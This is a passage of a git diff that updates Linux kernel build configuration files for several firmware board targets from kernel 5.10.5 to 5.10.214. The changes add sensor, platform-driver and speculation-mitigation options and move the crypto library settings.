CONFIG_SENSORS_AMD_ENERGY is not set +# CONFIG_SENSORS_APPLESMC is not set +# CONFIG_SENSORS_ASB100 is not set +# CONFIG_SENSORS_ASPEED is not set +# CONFIG_SENSORS_ATXP1 is not set +# CONFIG_SENSORS_CORSAIR_CPRO is not set +# CONFIG_SENSORS_DRIVETEMP is not set +# CONFIG_SENSORS_DS620 is not set +# CONFIG_SENSORS_DS1621 is not set +# CONFIG_SENSORS_DELL_SMM is not set +# CONFIG_SENSORS_I5K_AMB is not set +# CONFIG_SENSORS_F71805F is not set +# CONFIG_SENSORS_F71882FG is not set +# CONFIG_SENSORS_F75375S is not set +# CONFIG_SENSORS_FSCHMD is not set +# CONFIG_SENSORS_GL518SM is not set +# CONFIG_SENSORS_GL520SM is not set +# CONFIG_SENSORS_G760A is not set +# CONFIG_SENSORS_G762 is not set +# CONFIG_SENSORS_HIH6130 is not set +# CONFIG_SENSORS_I5500 is not set +# CONFIG_SENSORS_CORETEMP is not set +# CONFIG_SENSORS_IT87 is not set +# CONFIG_SENSORS_JC42 is not set +# CONFIG_SENSORS_POWR1220 is not set +# CONFIG_SENSORS_LINEAGE is not set +# CONFIG_SENSORS_LTC2945 is not set +# CONFIG_SENSORS_LTC2947_I2C is not set +# CONFIG_SENSORS_LTC2990 is not set +# CONFIG_SENSORS_LTC4151 is not set +# CONFIG_SENSORS_LTC4215 is not set +# CONFIG_SENSORS_LTC4222 is not set +# CONFIG_SENSORS_LTC4245 is not set +# CONFIG_SENSORS_LTC4260 is not set +# CONFIG_SENSORS_LTC4261 is not set +# CONFIG_SENSORS_MAX16065 is not set +# CONFIG_SENSORS_MAX1619 is not set +# CONFIG_SENSORS_MAX1668 is not set +# CONFIG_SENSORS_MAX197 is not set +# CONFIG_SENSORS_MAX31730 is not set +# CONFIG_SENSORS_MAX6621 is not set +# CONFIG_SENSORS_MAX6639 is not set +# CONFIG_SENSORS_MAX6642 is not set +# CONFIG_SENSORS_MAX6650 is not set +# CONFIG_SENSORS_MAX6697 is not set +# CONFIG_SENSORS_MAX31790 is not set +# CONFIG_SENSORS_MCP3021 is not set +# CONFIG_SENSORS_TC654 is not set +# CONFIG_SENSORS_MR75203 is not set +# CONFIG_SENSORS_LM63 is not set +# CONFIG_SENSORS_LM73 is not set +# CONFIG_SENSORS_LM75 is not set +# CONFIG_SENSORS_LM77 is not set +# CONFIG_SENSORS_LM78 is not set +# CONFIG_SENSORS_LM80 is not set +# CONFIG_SENSORS_LM83 is not set +# CONFIG_SENSORS_LM85 is not set +# CONFIG_SENSORS_LM87 is not set +# CONFIG_SENSORS_LM90 is not set +# CONFIG_SENSORS_LM92 is not set +# CONFIG_SENSORS_LM93 is not set +# CONFIG_SENSORS_LM95234 is not set +# CONFIG_SENSORS_LM95241 is not set +# CONFIG_SENSORS_LM95245 is not set +# CONFIG_SENSORS_PC87360 is not set +# CONFIG_SENSORS_PC87427 is not set +# CONFIG_SENSORS_NTC_THERMISTOR is not set +# CONFIG_SENSORS_NCT6683 is not set +# CONFIG_SENSORS_NCT6775 is not set +# CONFIG_SENSORS_NCT7802 is not set +# CONFIG_SENSORS_NPCM7XX is not set +# CONFIG_SENSORS_PCF8591 is not set +# CONFIG_PMBUS is not set +# CONFIG_SENSORS_SHT21 is not set +# CONFIG_SENSORS_SHT3x is not set +# CONFIG_SENSORS_SHTC1 is not set +# CONFIG_SENSORS_SIS5595 is not set +# CONFIG_SENSORS_DME1737 is not set +# CONFIG_SENSORS_EMC1403 is not set +# CONFIG_SENSORS_EMC2103 is not set +# CONFIG_SENSORS_EMC6W201 is not set +# CONFIG_SENSORS_SMSC47M1 is not set +# CONFIG_SENSORS_SMSC47M192 is not set +# CONFIG_SENSORS_SMSC47B397 is not set +# CONFIG_SENSORS_STTS751 is not set +# CONFIG_SENSORS_SMM665 is not set +# CONFIG_SENSORS_ADC128D818 is not set +# CONFIG_SENSORS_ADS7828 is not set +# CONFIG_SENSORS_AMC6821 is not set +# CONFIG_SENSORS_INA209 is not set +# CONFIG_SENSORS_INA2XX is not set +# CONFIG_SENSORS_INA3221 is not set +# CONFIG_SENSORS_TC74 is not set +# CONFIG_SENSORS_THMC50 is not set +# CONFIG_SENSORS_TMP102 is not set +# CONFIG_SENSORS_TMP103 is not set +# CONFIG_SENSORS_TMP108 is not set +# CONFIG_SENSORS_TMP401 is not set +# CONFIG_SENSORS_TMP421 is not set +# CONFIG_SENSORS_TMP513 is not set +# CONFIG_SENSORS_VIA_CPUTEMP is not set +# CONFIG_SENSORS_VIA686A is not set +# CONFIG_SENSORS_VT1211 is not set +# CONFIG_SENSORS_VT8231 is not set +# CONFIG_SENSORS_W83773G is not set +# CONFIG_SENSORS_W83781D is not set +# CONFIG_SENSORS_W83791D is not set +# CONFIG_SENSORS_W83792D is not set +# CONFIG_SENSORS_W83793 is not set +# CONFIG_SENSORS_W83795 is not set +# CONFIG_SENSORS_W83L785TS is not set +# CONFIG_SENSORS_W83L786NG is not set +# CONFIG_SENSORS_W83627HF is not set +# CONFIG_SENSORS_W83627EHF is not set +# CONFIG_SENSORS_XGENE is not set + +# +# ACPI drivers +# +# CONFIG_SENSORS_ACPI_POWER is not set +# CONFIG_SENSORS_ATK0110 is not set CONFIG_THERMAL=y # CONFIG_THERMAL_NETLINK is not set # CONFIG_THERMAL_STATISTICS is not set CONFIG_THERMAL_EMERGENCY_POWEROFF_DELAY_MS=0 +CONFIG_THERMAL_HWMON=y # CONFIG_THERMAL_WRITABLE_TRIPS is not set CONFIG_THERMAL_DEFAULT_GOV_STEP_WISE=y # CONFIG_THERMAL_DEFAULT_GOV_FAIR_SHARE is not set @@ -1693,6 +1856,7 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_LPC_SCH is not set # CONFIG_MFD_INTEL_LPSS_ACPI is not set # CONFIG_MFD_INTEL_LPSS_PCI is not set +# CONFIG_MFD_INTEL_PMC_BXT is not set # CONFIG_MFD_IQS62X is not set # CONFIG_MFD_JANZ_CMODIO is not set # CONFIG_MFD_KEMPLD is not set @@ -1721,7 +1885,6 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_SKY81452 is not set # CONFIG_ABX500_CORE is not set CONFIG_MFD_SYSCON=y -# CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_MFD_LP3943 is not set # CONFIG_MFD_LP8788 is not set # CONFIG_MFD_TI_LMU is not set @@ -1917,6 +2080,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y +# CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION is not set CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -2307,7 +2471,68 @@ CONFIG_VHOST_MENU=y # CONFIG_GREYBUS is not set # CONFIG_STAGING is not set -# CONFIG_X86_PLATFORM_DEVICES is not set +CONFIG_X86_PLATFORM_DEVICES=y +CONFIG_ACPI_WMI=y +CONFIG_WMI_BMOF=y +# CONFIG_HUAWEI_WMI is not set +# CONFIG_INTEL_WMI_SBL_FW_UPDATE is not set +# CONFIG_INTEL_WMI_THUNDERBOLT is not set +CONFIG_MXM_WMI=y +# CONFIG_PEAQ_WMI is not set +# CONFIG_XIAOMI_WMI is not set +# CONFIG_ACERHDF is not set +# CONFIG_ACER_WIRELESS is not set +# CONFIG_ACER_WMI is not set +# CONFIG_APPLE_GMUX is not set +# CONFIG_ASUS_LAPTOP is not set +# CONFIG_ASUS_WIRELESS is not set +# CONFIG_DCDBAS is not set +# CONFIG_DELL_SMBIOS is not set +# CONFIG_DELL_RBU is not set +# CONFIG_DELL_SMO8800 is not set +# CONFIG_DELL_WMI_AIO is not set +# CONFIG_FUJITSU_LAPTOP is not set +# CONFIG_FUJITSU_TABLET is not set +# CONFIG_GPD_POCKET_FAN is not set +# CONFIG_HP_ACCEL is not set +# CONFIG_HP_WIRELESS is not set +# CONFIG_HP_WMI is not set +# CONFIG_IBM_RTL is not set +# CONFIG_SENSORS_HDAPS is not set +# CONFIG_THINKPAD_ACPI is not set +# CONFIG_INTEL_HID_EVENT is not set +# CONFIG_INTEL_MENLOW is not set +# CONFIG_INTEL_VBTN is not set +# CONFIG_SURFACE_3_POWER_OPREGION is not set +# CONFIG_SURFACE_PRO3_BUTTON is not set +# CONFIG_MSI_WMI is not set +# CONFIG_SAMSUNG_LAPTOP is not set +# CONFIG_SAMSUNG_Q10 is not set +# CONFIG_TOSHIBA_BT_RFKILL is not set +# CONFIG_TOSHIBA_HAPS is not set +# CONFIG_TOSHIBA_WMI is not set +# CONFIG_ACPI_CMPC is not set +# CONFIG_LG_LAPTOP is not set +# CONFIG_PANASONIC_LAPTOP is not set +# CONFIG_SYSTEM76_ACPI is not set +# CONFIG_TOPSTAR_LAPTOP is not set +# CONFIG_I2C_MULTI_INSTANTIATE is not set +# CONFIG_MLX_PLATFORM is not set +# CONFIG_INTEL_IPS is not set +# CONFIG_INTEL_RST is not set +# CONFIG_INTEL_SMARTCONNECT is not set + +# +# Intel Speed Select Technology interface support +# +# CONFIG_INTEL_SPEED_SELECT_INTERFACE is not set +# end of Intel Speed Select Technology interface support + +# CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set +# CONFIG_INTEL_PMC_CORE is not set +# CONFIG_INTEL_PUNIT_IPC is not set +# CONFIG_INTEL_SCU_PCI is not set +# CONFIG_INTEL_SCU_PLATFORM is not set CONFIG_PMC_ATOM=y # CONFIG_CHROME_PLATFORMS is not set # CONFIG_MELLANOX_PLATFORM is not set @@ -2628,7 +2853,6 @@ CONFIG_IO_WQ=y # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set CONFIG_SECURITYFS=y -CONFIG_PAGE_TABLE_ISOLATION=y CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y CONFIG_HARDENED_USERCOPY_FALLBACK=y @@ -2646,6 +2870,10 @@ CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" # Memory initialization # CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization @@ -2820,18 +3048,6 @@ CONFIG_CRYPTO_USER_API_AEAD=y # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set # CONFIG_CRYPTO_STATS is not set CONFIG_CRYPTO_HASH_INFO=y - -# -# Crypto library routines -# -CONFIG_CRYPTO_LIB_AES=y -# CONFIG_CRYPTO_LIB_BLAKE2S is not set -# CONFIG_CRYPTO_LIB_CHACHA is not set -# CONFIG_CRYPTO_LIB_CURVE25519 is not set -CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 -# CONFIG_CRYPTO_LIB_POLY1305 is not set -# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set -CONFIG_CRYPTO_LIB_SHA256=y # CONFIG_CRYPTO_HW is not set # @@ -2856,6 +3072,21 @@ CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + +CONFIG_LIB_MEMNEQ=y # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y # CONFIG_CRC_T10DIF is not set diff --git a/config/linux-kgpe-d16_workstation.config b/config/linux-kgpe-d16_workstation.config index fe9d92f27..53bf4c2e8 100644 --- a/config/linux-kgpe-d16_workstation.config +++ b/config/linux-kgpe-d16_workstation.config @@ -1,12 +1,14 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 5.10.5 Kernel Configuration +# Linux/x86 5.10.214 Kernel Configuration # CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" CONFIG_CC_IS_GCC=y CONFIG_GCC_VERSION=80300 CONFIG_LD_VERSION=232000000 CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y @@ -194,6 +196,7 @@ CONFIG_KALLSYMS_BASE_RELATIVE=y CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y # CONFIG_USERFAULTFD is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +CONFIG_KCMP=y CONFIG_RSEQ=y # CONFIG_DEBUG_RSEQ is not set CONFIG_EMBEDDED=y @@ -264,7 +267,6 @@ CONFIG_SMP=y CONFIG_X86_FEATURE_NAMES=y # CONFIG_X86_MPPARSE is not set # CONFIG_GOLDFISH is not set -CONFIG_RETPOLINE=y # CONFIG_X86_CPU_RESCTRL is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # CONFIG_X86_INTEL_LPSS is not set @@ -369,6 +371,14 @@ CONFIG_LEGACY_VSYSCALL_XONLY=y CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features +CONFIG_CC_HAS_RETURN_THUNK=y +CONFIG_SPECULATION_MITIGATIONS=y +CONFIG_PAGE_TABLE_ISOLATION=y +CONFIG_RETPOLINE=y +CONFIG_RETHUNK=y +CONFIG_CPU_UNRET_ENTRY=y +CONFIG_CPU_IBPB_ENTRY=y +CONFIG_CPU_SRSO=y CONFIG_ARCH_HAS_ADD_PAGES=y CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y @@ -539,6 +549,7 @@ CONFIG_GENERIC_SMP_IDLE_THREAD=y CONFIG_ARCH_HAS_FORTIFY_SOURCE=y CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y +CONFIG_ARCH_HAS_CPU_FINALIZE_INIT=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y CONFIG_HAVE_ASM_MODVERSIONS=y @@ -605,6 +616,10 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_CYC_COMPLEXITY is not set +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set +# CONFIG_GCC_PLUGIN_RANDSTRUCT is not set # end of General architecture-dependent options CONFIG_RT_MUTEXES=y @@ -738,6 +753,7 @@ CONFIG_SYN_COOKIES=y # CONFIG_INET_AH is not set # CONFIG_INET_ESP is not set # CONFIG_INET_IPCOMP is not set +CONFIG_INET_TABLE_PERTURB_ORDER=16 # CONFIG_INET_DIAG is not set # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y @@ -759,7 +775,6 @@ CONFIG_DEFAULT_TCP_CONG="cubic" CONFIG_HAVE_NET_DSA=y # CONFIG_NET_DSA is not set # CONFIG_VLAN_8021Q is not set -# CONFIG_DECNET is not set # CONFIG_LLC2 is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set @@ -948,7 +963,6 @@ CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 # CONFIG_BLK_DEV_DRBD is not set # CONFIG_BLK_DEV_NBD is not set # CONFIG_BLK_DEV_SKD is not set -# CONFIG_BLK_DEV_SX8 is not set CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_COUNT=16 CONFIG_BLK_DEV_RAM_SIZE=65536 @@ -1333,7 +1347,6 @@ CONFIG_NET_VENDOR_XILINX=y # CONFIG_NETDEVSIM is not set # CONFIG_NET_FAILOVER is not set # CONFIG_ISDN is not set -# CONFIG_NVM is not set # # Input device support @@ -1495,10 +1508,9 @@ CONFIG_TCG_TIS=y # CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set -# end of Character devices - CONFIG_RANDOM_TRUST_CPU=y # CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices # # I2C support @@ -1634,6 +1646,7 @@ CONFIG_POWER_SUPPLY_HWMON=y # CONFIG_CHARGER_BQ2415X is not set # CONFIG_CHARGER_SMB347 is not set # CONFIG_BATTERY_GAUGE_LTC2941 is not set +# CONFIG_BATTERY_RT5033 is not set # CONFIG_CHARGER_BD99954 is not set CONFIG_HWMON=y # CONFIG_HWMON_DEBUG_CHIP is not set @@ -1872,7 +1885,6 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_SKY81452 is not set # CONFIG_ABX500_CORE is not set CONFIG_MFD_SYSCON=y -# CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_MFD_LP3943 is not set # CONFIG_MFD_LP8788 is not set # CONFIG_MFD_TI_LMU is not set @@ -1964,7 +1976,6 @@ CONFIG_DRM_AMD_DC=y CONFIG_DRM_AMD_DC_DCN=y # CONFIG_DRM_AMD_DC_DCN3_0 is not set # CONFIG_DRM_AMD_DC_HDCP is not set -# CONFIG_DRM_AMD_DC_SI is not set # end of Display Engine Configuration # CONFIG_HSA_AMD is not set @@ -2104,6 +2115,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y +# CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION is not set CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -2876,7 +2888,6 @@ CONFIG_IO_WQ=y # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set CONFIG_SECURITYFS=y -CONFIG_PAGE_TABLE_ISOLATION=y CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y CONFIG_HARDENED_USERCOPY_FALLBACK=y @@ -2894,6 +2905,10 @@ CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" # Memory initialization # CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization @@ -3068,18 +3083,6 @@ CONFIG_CRYPTO_USER_API_AEAD=y # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set # CONFIG_CRYPTO_STATS is not set CONFIG_CRYPTO_HASH_INFO=y - -# -# Crypto library routines -# -CONFIG_CRYPTO_LIB_AES=y -# CONFIG_CRYPTO_LIB_BLAKE2S is not set -# CONFIG_CRYPTO_LIB_CHACHA is not set -# CONFIG_CRYPTO_LIB_CURVE25519 is not set -CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 -# CONFIG_CRYPTO_LIB_POLY1305 is not set -# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set -CONFIG_CRYPTO_LIB_SHA256=y # CONFIG_CRYPTO_HW is not set # @@ -3104,6 +3107,21 @@ CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + +CONFIG_LIB_MEMNEQ=y # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y # CONFIG_CRC_T10DIF is not set diff --git a/config/linux-librem_common.config b/config/linux-librem_common.config index e65f907d1..65311e1f5 100644 --- a/config/linux-librem_common.config +++ b/config/linux-librem_common.config @@ -1,12 +1,14 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 5.10.5 Kernel Configuration +# Linux/x86 5.10.214 Kernel Configuration # CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" CONFIG_CC_IS_GCC=y CONFIG_GCC_VERSION=80300 CONFIG_LD_VERSION=232000000 CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y @@ -188,6 +190,7 @@ CONFIG_MEMBARRIER=y CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y # CONFIG_USERFAULTFD is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +CONFIG_KCMP=y # CONFIG_RSEQ is not set CONFIG_EMBEDDED=y CONFIG_HAVE_PERF_EVENTS=y @@ -258,7 +261,6 @@ CONFIG_SMP=y CONFIG_X86_FEATURE_NAMES=y # CONFIG_X86_MPPARSE is not set # CONFIG_GOLDFISH is not set -# CONFIG_RETPOLINE is not set # CONFIG_X86_CPU_RESCTRL is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # CONFIG_X86_INTEL_LPSS is not set @@ -320,7 +322,6 @@ CONFIG_X86_THERMAL_VECTOR=y # CONFIG_X86_VSYSCALL_EMULATION is not set CONFIG_X86_IOPL_IOPERM=y -# CONFIG_I8K is not set # CONFIG_MICROCODE is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set @@ -368,6 +369,12 @@ CONFIG_LEGACY_VSYSCALL_NONE=y CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features +CONFIG_CC_HAS_RETURN_THUNK=y +CONFIG_SPECULATION_MITIGATIONS=y +CONFIG_PAGE_TABLE_ISOLATION=y +# CONFIG_RETPOLINE is not set +CONFIG_CPU_IBRS_ENTRY=y +# CONFIG_GDS_FORCE_MITIGATION is not set CONFIG_ARCH_HAS_ADD_PAGES=y CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y @@ -536,6 +543,7 @@ CONFIG_GENERIC_SMP_IDLE_THREAD=y CONFIG_ARCH_HAS_FORTIFY_SOURCE=y CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y +CONFIG_ARCH_HAS_CPU_FINALIZE_INIT=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y CONFIG_HAVE_ASM_MODVERSIONS=y @@ -600,6 +608,10 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_CYC_COMPLEXITY is not set +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set +# CONFIG_GCC_PLUGIN_RANDSTRUCT is not set # end of General architecture-dependent options CONFIG_RT_MUTEXES=y @@ -735,6 +747,7 @@ CONFIG_INET=y # CONFIG_INET_AH is not set # CONFIG_INET_ESP is not set # CONFIG_INET_IPCOMP is not set +CONFIG_INET_TABLE_PERTURB_ORDER=16 # CONFIG_INET_DIAG is not set # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y @@ -756,7 +769,6 @@ CONFIG_DEFAULT_TCP_CONG="cubic" CONFIG_HAVE_NET_DSA=y # CONFIG_NET_DSA is not set # CONFIG_VLAN_8021Q is not set -# CONFIG_DECNET is not set # CONFIG_LLC2 is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set @@ -943,7 +955,6 @@ CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 # CONFIG_BLK_DEV_DRBD is not set # CONFIG_BLK_DEV_NBD is not set # CONFIG_BLK_DEV_SKD is not set -# CONFIG_BLK_DEV_SX8 is not set CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_COUNT=16 CONFIG_BLK_DEV_RAM_SIZE=65536 @@ -1350,7 +1361,6 @@ CONFIG_USB_NET_CDC_SUBSET=m # CONFIG_FUJITSU_ES is not set # CONFIG_NET_FAILOVER is not set # CONFIG_ISDN is not set -# CONFIG_NVM is not set # # Input device support @@ -1510,10 +1520,9 @@ CONFIG_TCG_TIS=y # CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set -# end of Character devices - CONFIG_RANDOM_TRUST_CPU=y # CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices # # I2C support @@ -1648,6 +1657,7 @@ CONFIG_POWER_SUPPLY=y # CONFIG_CHARGER_BQ2415X is not set # CONFIG_CHARGER_SMB347 is not set # CONFIG_BATTERY_GAUGE_LTC2941 is not set +# CONFIG_BATTERY_RT5033 is not set # CONFIG_CHARGER_BD99954 is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y @@ -1738,7 +1748,6 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_SKY81452 is not set # CONFIG_ABX500_CORE is not set CONFIG_MFD_SYSCON=y -# CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_MFD_LP3943 is not set # CONFIG_MFD_LP8788 is not set # CONFIG_MFD_TI_LMU is not set @@ -1970,6 +1979,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y +# CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION is not set CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -2682,7 +2692,6 @@ CONFIG_IO_WQ=y # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set CONFIG_SECURITYFS=y -CONFIG_PAGE_TABLE_ISOLATION=y # CONFIG_INTEL_TXT is not set CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y @@ -2701,6 +2710,10 @@ CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" # Memory initialization # CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization @@ -2877,18 +2890,6 @@ CONFIG_CRYPTO_USER_API_AEAD=y # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set # CONFIG_CRYPTO_STATS is not set CONFIG_CRYPTO_HASH_INFO=y - -# -# Crypto library routines -# -CONFIG_CRYPTO_LIB_AES=y -# CONFIG_CRYPTO_LIB_BLAKE2S is not set -# CONFIG_CRYPTO_LIB_CHACHA is not set -# CONFIG_CRYPTO_LIB_CURVE25519 is not set -CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 -# CONFIG_CRYPTO_LIB_POLY1305 is not set -# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set -CONFIG_CRYPTO_LIB_SHA256=y # CONFIG_CRYPTO_HW is not set # @@ -2913,6 +2914,21 @@ CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 